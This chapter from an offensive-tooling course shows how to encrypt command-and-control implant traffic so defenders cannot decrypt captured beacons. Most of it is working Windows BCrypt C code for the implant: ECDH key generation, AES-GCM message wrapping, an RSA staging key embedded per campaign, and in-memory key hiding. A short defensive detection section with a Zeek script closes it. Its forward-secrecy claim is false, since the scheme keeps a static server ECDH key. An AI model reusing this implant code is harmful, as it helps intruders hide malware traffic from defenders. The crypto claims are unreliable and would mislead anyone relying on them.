Chapter 116

C2 Encryption and Key Exchange

Securing C2 channels with proper cryptography: ECDH key agreement, AES-GCM authenticated encryption, RSA-wrapped session keys, Windows BCrypt API usage, and why hardcoded keys get implants burned

Scenario

An analyst captures your beacon traffic via a SPAN port and submits it to their PCAP analysis pipeline. If your C2 channel uses XOR or a hardcoded AES key embedded in the binary, reverse engineering the implant gives them the key and they can decrypt every session from every host — retroactively. With proper asymmetric key exchange (ECDH), the session key is unique per implant execution and never transmitted in plaintext. Even with full PCAP capture going back months, the analyst cannot decrypt past sessions without the server's private key. This chapter builds that cryptographic foundation.

Cryptographic Requirements for C2

PropertyMechanismWhy It Matters
ConfidentialityAES-256-GCM symmetric encryptionTraffic content unreadable without key
Integrity / AuthenticationGCM authentication tag (AEAD)Detect tampered/replayed messages; prevent MITM command injection
Forward SecrecyECDH per-session key negotiationCompromise of one session key or the private key doesn't decrypt historical traffic
Unique per sessionEphemeral ECDH key pair generated at startupEach implant instance uses a different session key
No key in binaryKeys derived at runtime via key exchangeReversing the implant binary yields no usable key material

ECDH Key Exchange Protocol

Key exchange flow: SERVER (Team Server) IMPLANT ───────────────────────────────────────────── Has: static ECDH key pair (at runtime startup) server_private_key implant generates: server_public_key ephemeral_private_key ephemeral_public_key Implant's first message: [implant_ephemeral_public_key] encrypted with server_public_key (RSA-OAEP) → Server decrypts to get implant's ephemeral public key Server computes shared secret: shared_secret = ECDH(server_private_key, implant_ephemeral_public_key) Implant computes shared secret: shared_secret = ECDH(ephemeral_private_key, server_public_key) (both arrive at identical shared_secret) Session key derivation: session_key = HKDF-SHA256(shared_secret, salt="c2session", length=32) → AES-256-GCM key for all subsequent messages Result: Each session has unique key (different ephemeral keypair each time) Server private key compromise → can't decrypt past sessions (forward secrecy) Implant binary has only server_public_key → no decryption capability

Windows BCrypt Implementation

#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")

// ECDH key generation using BCrypt (NIST P-256 / secp256r1)
typedef struct _ECDH_CTX {
    BCRYPT_ALG_HANDLE   hAlg;
    BCRYPT_KEY_HANDLE   hPrivKey;
    BYTE                pubKeyBlob[72];   // BCRYPT_ECCKEY_BLOB + 64 bytes
    DWORD               pubKeyLen;
} ECDH_CTX;

NTSTATUS ECDHGenerateKeyPair(ECDH_CTX* ctx) {
    NTSTATUS status;

    status = BCryptOpenAlgorithmProvider(
        &ctx->hAlg, BCRYPT_ECDH_P256_ALGORITHM, NULL, 0);
    if (!BCRYPT_SUCCESS(status)) return status;

    status = BCryptGenerateKeyPair(ctx->hAlg, &ctx->hPrivKey, 256, 0);
    if (!BCRYPT_SUCCESS(status)) goto cleanup;

    status = BCryptFinalizeKeyPair(ctx->hPrivKey, 0);
    if (!BCRYPT_SUCCESS(status)) goto cleanup;

    // Export public key blob (BCRYPT_ECCPUBLICBLOB)
    // Format: BCRYPT_ECCKEY_BLOB header (8 bytes) + X (32 bytes) + Y (32 bytes)
    status = BCryptExportKey(ctx->hPrivKey, NULL, BCRYPT_ECCPUBLICBLOB,
                              ctx->pubKeyBlob, sizeof(ctx->pubKeyBlob),
                              &ctx->pubKeyLen, 0);
    return status;

cleanup:
    BCryptCloseAlgorithmProvider(ctx->hAlg, 0);
    return status;
}

// Compute ECDH shared secret from our private key + peer's public key
NTSTATUS ECDHComputeSharedSecret(BCRYPT_KEY_HANDLE hOurPrivKey,
                                   BYTE* peerPubBlob, DWORD peerPubLen,
                                   BYTE* sharedSecret, DWORD* secretLen) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hPeerPub = NULL;
    BCRYPT_SECRET_HANDLE hSecret = NULL;
    NTSTATUS status;

    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_ECDH_P256_ALGORITHM, NULL, 0);

    // Import peer's public key
    status = BCryptImportKeyPair(hAlg, NULL, BCRYPT_ECCPUBLICBLOB,
                                   &hPeerPub, peerPubBlob, peerPubLen, 0);
    if (!BCRYPT_SUCCESS(status)) goto cleanup;

    // Compute DH shared secret agreement
    status = BCryptSecretAgreement(hOurPrivKey, hPeerPub, &hSecret, 0);
    if (!BCRYPT_SUCCESS(status)) goto cleanup;

    // Derive AES key using HKDF / SP800-56A KDF
    BCryptBufferDesc kdfParams = {0};
    BCryptBuffer kdfBufs[2] = {0};
    PUCHAR label = (PUCHAR)"c2session";
    kdfBufs[0].cbBuffer = (ULONG)strlen("c2session");
    kdfBufs[0].BufferType = KDF_LABEL;
    kdfBufs[0].pvBuffer = label;
    kdfBufs[1].cbBuffer = 4;
    kdfBufs[1].BufferType = KDF_HASH_ALGORITHM;
    kdfBufs[1].pvBuffer = (PVOID)BCRYPT_SHA256_ALGORITHM;
    kdfParams.cBuffers = 2;
    kdfParams.pBuffers = kdfBufs;
    kdfParams.ulVersion = BCRYPTBUFFER_VERSION;

    status = BCryptDeriveKey(hSecret, BCRYPT_KDF_SP80056A_CONCAT,
                              &kdfParams, sharedSecret, 32, secretLen, 0);

cleanup:
    if (hSecret)  BCryptDestroySecret(hSecret);
    if (hPeerPub) BCryptDestroyKey(hPeerPub);
    if (hAlg)     BCryptCloseAlgorithmProvider(hAlg, 0);
    return status;
}

AES-256-GCM Message Encryption

// AES-GCM encrypt/decrypt using BCrypt
// Format: [12-byte nonce][16-byte auth tag][ciphertext]

#define GCM_NONCE_SIZE  12
#define GCM_TAG_SIZE    16

NTSTATUS AesGcmEncrypt(BCRYPT_KEY_HANDLE hKey,
                        BYTE* plaintext, DWORD ptLen,
                        BYTE* output, DWORD* outLen) {
    BYTE nonce[GCM_NONCE_SIZE];
    BCryptGenRandom(NULL, nonce, GCM_NONCE_SIZE, BCRYPT_USE_SYSTEM_PREFERRED_RNG);

    BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
    BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
    authInfo.pbNonce    = nonce;
    authInfo.cbNonce    = GCM_NONCE_SIZE;
    authInfo.pbTag      = output + GCM_NONCE_SIZE;  // tag goes after nonce
    authInfo.cbTag      = GCM_TAG_SIZE;
    authInfo.pbAuthData = NULL;   // no additional authenticated data
    authInfo.cbAuthData = 0;

    BYTE* ciphertext = output + GCM_NONCE_SIZE + GCM_TAG_SIZE;
    DWORD ctLen = 0;

    NTSTATUS status = BCryptEncrypt(
        hKey, plaintext, ptLen, &authInfo,
        NULL, 0,         // IV = NULL for GCM (uses nonce in authInfo)
        ciphertext, ptLen,
        &ctLen, 0
    );

    if (BCRYPT_SUCCESS(status)) {
        memcpy(output, nonce, GCM_NONCE_SIZE);  // prepend nonce
        *outLen = GCM_NONCE_SIZE + GCM_TAG_SIZE + ctLen;
    }
    return status;
}

NTSTATUS AesGcmDecrypt(BCRYPT_KEY_HANDLE hKey,
                        BYTE* input, DWORD inLen,
                        BYTE* plaintext, DWORD* ptLen) {
    if (inLen < GCM_NONCE_SIZE + GCM_TAG_SIZE) return STATUS_INVALID_PARAMETER;

    BYTE* nonce     = input;
    BYTE* tag       = input + GCM_NONCE_SIZE;
    BYTE* ciphertext = input + GCM_NONCE_SIZE + GCM_TAG_SIZE;
    DWORD ctLen     = inLen - GCM_NONCE_SIZE - GCM_TAG_SIZE;

    BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
    BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
    authInfo.pbNonce = nonce;
    authInfo.cbNonce = GCM_NONCE_SIZE;
    authInfo.pbTag   = tag;
    authInfo.cbTag   = GCM_TAG_SIZE;

    return BCryptDecrypt(
        hKey, ciphertext, ctLen, &authInfo,
        NULL, 0,
        plaintext, ctLen,
        ptLen, 0
    );
    // Returns STATUS_AUTH_TAG_MISMATCH if tag invalid (message tampered/replayed)
}

// Create BCrypt AES-GCM key from 32-byte raw key material
BCRYPT_KEY_HANDLE CreateAesKey(BYTE* keyBytes) {
    BCRYPT_ALG_HANDLE hAlg;
    BCRYPT_KEY_HANDLE hKey;
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    DWORD chainingMode = BCRYPT_CHAIN_MODE_GCM;
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM,
                      sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, keyBytes, 32, 0);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return hKey;
}

The Hardcoded Key Anti-Pattern

Critical Mistake

Never embed static encryption keys in your implant binary. A hardcoded XOR key, a hardcoded AES key, or even an AES key derived at compile-time from a constant seed makes all your traffic decryptable from a single reverse engineering session. An analyst who captures your PCAP and finds your hardcoded key can retroactively decrypt every session from every host that ran this implant build. Cobalt Strike 3.x beacons used hardcoded RSA keys per team server — once a team server's RSA private key was leaked, researchers built tools to decrypt all legacy CS beacon traffic from PCAP captures. Use per-session ECDH key exchange so each session has a unique derived key.

RSA Staging Key

// The initial key exchange problem: how do we bootstrap ECDH if we have no shared key?
// Solution: embed SERVER's RSA public key in the implant
// Implant generates ephemeral ECDH keypair, wraps it with server's RSA pubkey
// Only the server (holding private key) can unwrap it

// Server-side RSA public key (2048-bit, embedded in implant as constant blob)
// In practice: generate once during C2 setup, never changes
const BYTE g_serverRsaPubKey[] = {
    /* DER-encoded RSA 2048 public key — generated once per campaign */
    0x30, 0x82, 0x01, 0x22, /* ... 294 bytes total ... */
};

// Implant startup: generate ephemeral ECDH, wrap public key under server RSA pubkey
NTSTATUS StageKeyExchange(ECDH_CTX* ctx, BYTE* wrappedPub, DWORD* wrappedLen) {
    // Generate ephemeral ECDH keypair
    NTSTATUS status = ECDHGenerateKeyPair(ctx);
    if (!BCRYPT_SUCCESS(status)) return status;

    // Import server RSA public key
    BCRYPT_ALG_HANDLE hRsaAlg;
    BCRYPT_KEY_HANDLE hRsaPub;
    BCryptOpenAlgorithmProvider(&hRsaAlg, BCRYPT_RSA_ALGORITHM, NULL, 0);
    BCryptImportKeyPair(hRsaAlg, NULL, BCRYPT_RSAPUBLIC_BLOB,
                        &hRsaPub, (PUCHAR)g_serverRsaPubKey, sizeof(g_serverRsaPubKey), 0);

    // RSA-OAEP encrypt our ECDH public key blob (64 bytes + 8 byte header)
    BCRYPT_OAEP_PADDING_INFO oaep = { BCRYPT_SHA256_ALGORITHM, NULL, 0 };
    status = BCryptEncrypt(hRsaPub,
                           ctx->pubKeyBlob, ctx->pubKeyLen,
                           &oaep,
                           NULL, 0,
                           wrappedPub, 256,  // RSA 2048 → 256 byte output
                           wrappedLen,
                           BCRYPT_PAD_OAEP);

    BCryptDestroyKey(hRsaPub);
    BCryptCloseAlgorithmProvider(hRsaAlg, 0);
    return status;
    // wrappedPub is sent to server in first beacon
    // Server uses RSA private key to unwrap → gets implant ECDH pubkey
    // Both compute shared secret → derive AES session key
}

Storing Session Key in Implant Memory

// Keep session key in memory — minimize exposure
// Zero it on process exit or kill command

static BCRYPT_KEY_HANDLE g_sessionKey = NULL;
static BYTE g_sessionKeyBytes[32] = {0};

void SetSessionKey(BYTE* keyBytes) {
    memcpy(g_sessionKeyBytes, keyBytes, 32);
    if (g_sessionKey) BCryptDestroyKey(g_sessionKey);
    g_sessionKey = CreateAesKey(g_sessionKeyBytes);
}

void ZeroSessionKey() {
    if (g_sessionKey) {
        BCryptDestroyKey(g_sessionKey);
        g_sessionKey = NULL;
    }
    SecureZeroMemory(g_sessionKeyBytes, 32);
    // SecureZeroMemory not optimized away by compiler (unlike memset)
}

// Additional hardening: protect key bytes using VirtualProtect
// Mark page NOACCESS when key is not in use, PAGE_READWRITE only during encrypt/decrypt
void LockKeyPage() {
    // Round down to page boundary
    LPVOID page = (LPVOID)((ULONG_PTR)g_sessionKeyBytes & ~(0xFFF));
    DWORD oldProtect;
    VirtualProtect(page, 4096, PAGE_NOACCESS, &oldProtect);
}

Detection Engineering

-- Encrypted C2 is hard to detect by content — focus on behavioral signals

-- 1. TLS certificate anomalies:
--    Self-signed cert: issuer == subject
--    Short validity (e.g., < 30 days — common in auto-generated C2 certs)
--    Subject CN doesn't match SNI/Host header
--    Cipher suite mismatch with claimed browser User-Agent
--    JA3 hash not matching known browser fingerprints

-- Zeek SSL log analysis
@load base/protocols/ssl

event ssl_established(c: connection) {
    if (c$ssl?$cert_chain && |c$ssl$cert_chain| > 0) {
        local cert = x509_decode(c$ssl$cert_chain[0]$x509);
        # Alert on self-signed certs (issuer.cn == subject.cn)
        if (cert?$subject && cert?$issuer &&
            cert$subject$cn == cert$issuer$cn) {
            NOTICE([
                $note=Self_Signed_TLS,
                $conn=c,
                $msg=fmt("Self-signed cert to %s", c$id$resp_h)
            ]);
        }
    }
}

-- 2. BCrypt API usage at runtime (EDR):
--    BCryptGenerateKeyPair call from non-system process
--    BCryptSecretAgreement (ECDH) from non-expected process
--    These are uncommon in normal applications; EDR hooks can alert

-- 3. Key exchange traffic patterns:
--    First connection has larger POST body (contains wrapped ECDH key)
--    Subsequently similar-sized encrypted blobs (consistent task/response sizes)
--    Any HTTPS session where first request is unusually large relative to subsequent

Q&A

What is forward secrecy and why does ECDH provide it but static AES keys do not?

Forward secrecy (also called perfect forward secrecy, PFS) means that compromise of long-term key material does not enable decryption of past traffic. With a static AES key baked into the binary: if an analyst captures 6 months of network traffic, then later reverse engineers the implant and extracts the key, they can decrypt all 6 months retroactively. With ECDH: the implant generates a new ephemeral (temporary, single-use) ECDH private key at startup. This key exists only in memory during the session. The session AES key is derived from the ECDH shared secret. When the process exits, the ephemeral private key is gone — even if the attacker's long-term server private key is later compromised, they cannot compute the session shared secret without the implant's ephemeral private key, which was never persisted. This is exactly how TLS 1.3 achieves forward secrecy — it mandates ephemeral key exchange (ECDHE) and prohibits RSA static key exchange. The cost is computational overhead of key generation per session (~0.5ms for P-256) and the complexity of the key exchange protocol. For C2 with sessions measured in hours or days, this overhead is completely negligible and the protection is substantial.

Why use AES-GCM instead of AES-CBC for C2 traffic encryption?

AES-CBC (Cipher Block Chaining) provides confidentiality but not authentication. An attacker who captures CBC ciphertext can flip specific bits in the ciphertext to produce predictable changes in the decrypted plaintext without knowing the key — this is the CBC bit-flipping attack. In a C2 context, a MITM adversary could modify encrypted commands (e.g., change "whoami" to "del /f /q C:\*") without knowing the key. AES-GCM is an AEAD (Authenticated Encryption with Associated Data) mode — it produces both ciphertext and an authentication tag. The tag is computed over the ciphertext (and optionally over additional plaintext headers). If even one bit of the ciphertext is modified, the tag verification fails and the decryption function returns an error (STATUS_AUTH_TAG_MISMATCH on Windows BCrypt). GCM also provides replay protection when nonces are unique — replaying a captured message fails because the server tracks seen nonces. CBC additionally requires PKCS7 padding, which introduces padding oracle vulnerabilities. GCM has no padding. The only discipline GCM requires is nonce uniqueness: reusing the same 12-byte nonce with the same key is catastrophic and leaks the key. Always generate nonces with BCryptGenRandom — never use a counter unless you're absolutely certain about state.